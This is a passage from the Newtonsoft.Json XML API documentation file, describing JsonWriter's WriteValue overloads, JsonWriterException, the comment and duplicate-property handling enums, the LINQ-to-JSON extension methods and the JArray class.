name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTimeOffset})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Item(System.Object)\">\n            <summary>\n            Gets the 